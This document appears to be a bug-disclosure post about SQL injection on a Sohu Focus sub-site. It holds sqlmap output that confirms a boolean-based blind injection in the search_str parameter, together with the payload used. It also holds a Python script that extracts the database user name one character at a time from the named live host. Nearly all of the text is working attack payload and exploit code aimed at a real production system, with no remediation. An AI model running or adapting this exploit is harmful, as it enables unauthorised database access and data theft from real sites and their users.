搜狐焦点某分站的SQL注入

sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: search_str (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: group_id=80000&page=1&search_area=thesite&search_str=%' AND 9250=9250 AND '%'='&search_type=picname&submit=%cb%d1%cb%f7%cd%bc%c6%ac
 ---
 [11:35:40] [INFO] testing MySQL
 [11:35:40] [INFO] confirming MySQL
 [11:35:40] [INFO] the back-end DBMS is MySQL
 web application technology: Apache
 back-end DBMS: MySQL >= 5.0.2
 [11:35:40] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
 [11:35:40] [INFO] fetching number of databases
 [11:35:40] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
 [11:35:40] [INFO] retrieved: 
 [11:35:40] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
 [11:35:40] [ERROR] unable to retrieve the number of databases
 [11:35:40] [INFO] falling back to current database
 [11:35:40] [INFO] fetching current database
 [11:35:40] [INFO] retrieved: 
 [11:35:40] [CRITICAL] unable to retrieve the database names
 [11:35:40] [WARNING] HTTP error codes detected during run:
 403 (Forbidden) - 11 times

import os,sys,re,string
 import requests as requests
 
 payloads = list(string.ascii_lowercase)
 payloads += list(string.ascii_uppercase)
 for i in range(0,10):
     payloads.append(str(i))
 payloads += ['@','_', '.']
 try:
  for i in range(1,22,1):     
      for payload in payloads:
       res = requests.get('http://office.focus.cn/group/photo_search.php?group_id=80000&page=1&search_area=thesite&search_str=%%/'AND ascii(mid(user(),%s,1))=%s AND/'%%/'=/'&search_type=picname&submit=%%cb%%d1%%cb%%f7%%cd%%bc%%c6%%ac' % (i, ord(payload)),timeout=3)
       if len(res.text) > 60000:
        print payload,
 except Exception, e:
  print e